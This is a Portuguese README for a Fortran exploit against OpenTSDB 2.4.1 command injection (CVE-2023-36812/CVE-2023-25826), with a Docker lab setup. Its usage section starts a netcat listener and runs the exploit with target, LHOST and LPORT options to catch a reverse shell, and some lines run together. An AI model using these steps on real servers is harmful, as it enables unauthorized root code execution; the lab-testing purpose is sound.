Um exploit para OpenTSDB <= 2.4.1 de injeção de comando (CVE-2023-36812/CVE-2023-25826) escrito em Fortran
Um exploit para injeção de comandos no OpenTSDB <= 2.4.1 (CVE-2023-36812/CVE-2023-25826) escrito em Fortran
Este é um exploit para uma vulnerabilidade de injeção de comandos no OpenTSDB versões 2.4.1 e anteriores (CVE-2023-36812/CVE-2023-25826). O exploit é escrito em Fortran moderno e utiliza a biblioteca oficial http-client do Fortran, que foi criada no início deste ano.
OpenTSDB é um banco de dados de séries temporais de código aberto escrito em Java. Em 2020, uma vulnerabilidade de injeção de comandos foi descoberta nas versões 2.4.0 e anteriores, que poderia ser explorada para obter execução remota de código no host com privilégios de root. Como o OpenTSDB não suporta autenticação, essa vulnerabilidade, registrada como CVE-2020-35476, poderia ser explorada por qualquer pessoa com acesso à interface web do OpenTSDB. O problema foi corrigido na versão 2.4.1
Este ano foi descoberto que a correção para CVE-2020-35476 estava incompleta, e a injeção de comandos ainda é possível no OpenTSDB 2.4.1 através de vários vetores.
Detalhes:
A versão curta é que vi essa conversa:

A ideia de escrever um exploit em a linguagem de programação usada para levar pessoas à lua me intrigou tanto que eu tive que explorar isso por conta própria. Este exploit é o resultado desse experimento. À pergunta se foi bem-sucedido, só posso responder com estas sábias, porém amaldiçoadas palavras que unem todos os devs em sangue: Funciona na minha máquina. ¯\(ツ)/¯
De qualquer forma, minhas principais conclusões deste projeto são:
No geral, não é fácil imaginar essa linguagem realmente ganhando importância na segurança ofensiva, até porque existem tantas alternativas sólidas e modernas para qualquer caso de uso imaginável (Python, Go, Rust, Ruby, C# para citar apenas algumas). Mas se você gosta de experimentar diferentes linguagens de programação e não se importa de encapsular suas strings em chamadas trim() o tempo todo (POR FAVOR, PRESTE ATENÇÃO NISSO, ISSO VAI ECONOMIZAR MUITO SOFRIMENTO), Fortran vale absolutamente a pena conferir. Estou torcendo sem ironia por essa linguagem agora e posso revisitá-la se continuarem adicionando suporte à biblioteca http-client, especialmente se adicionarem uma biblioteca http-server em algum momento.
TL;DR: A biblioteca http-client do Fortran vai brr.
nc -nlvp 1337
opentsdb_key_cmd_injection# cd /caminho/para/opentsdb_key_cmd_injection/
fpm (certifique-se de instalá-lo primeiro. Veja as instruções de instalação na próxima seção)# /caminho/para/fpm run -- -t <url_alvo> -l <ip_local> -p <porta_local> [-v]
Opções:
-t - TARGET URL: a URL base para o OpenTSDB (obrigatório)-l - LHOST: o IP do sistema onde você está executando um listener (obrigatório)-p - LPORT: a porta do listener (obrigatório)-v - VERBOSE: ativar impressão detalhada (opcional)gfortran. Em sistemas baseados em Debian, isso pode ser feito via:apt install gfortran
chmod +x /<caminho>/para/fpm
Certifique-se de ter o git instalado no seu sistema antes de instalar o fpm.
Para uma instalação manual, você pode seguir as instruções oficiais de instalação aqui. Isso pode ser irritante, então eu recomendaria usar o Docker.
Para a versão 2.4.0, você pode usar a imagem vulnhub docker e seguir as instruções de instalação aqui. Essa imagem foi criada para CVE-2020-35476, uma vulnerabilidade mais antiga no OpenTSDB até a versão 2.4.0.
Para a versão 2.4.1 e provavelmente qualquer outra versão, você pode aproveitar a imagem vulhub para OpenTSDB 2.4.0 e editá-la para instalar a versão desejada. Eu segui essa abordagem para a 2.4.1 e funcionou muito bem.
Dockerfile e docker-entrypoint.sh do OpenTSDB 2.4.0 do vulhub aqui e armazene-os em um diretório dedicado.Dockerfile, substitua todas as ocorrências de 2.4.0 pela versão desejada, ex: 2.4.1docker-entrypoint.shdocker-compose.yml com o seguinte conteúdo:version: '2'
services:
opentsdb:
build: ./caminho-para-seu-diretório-dockerfile
ports:
- "4242:4242"
Usei esta estrutura de arquivo:
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter 86 Sep 1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep 1 10:54 docker_file
./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep 1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep 1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml
version: '2'
services:
opentsdb:
build: ./docker_file
ports:
- "4242:4242"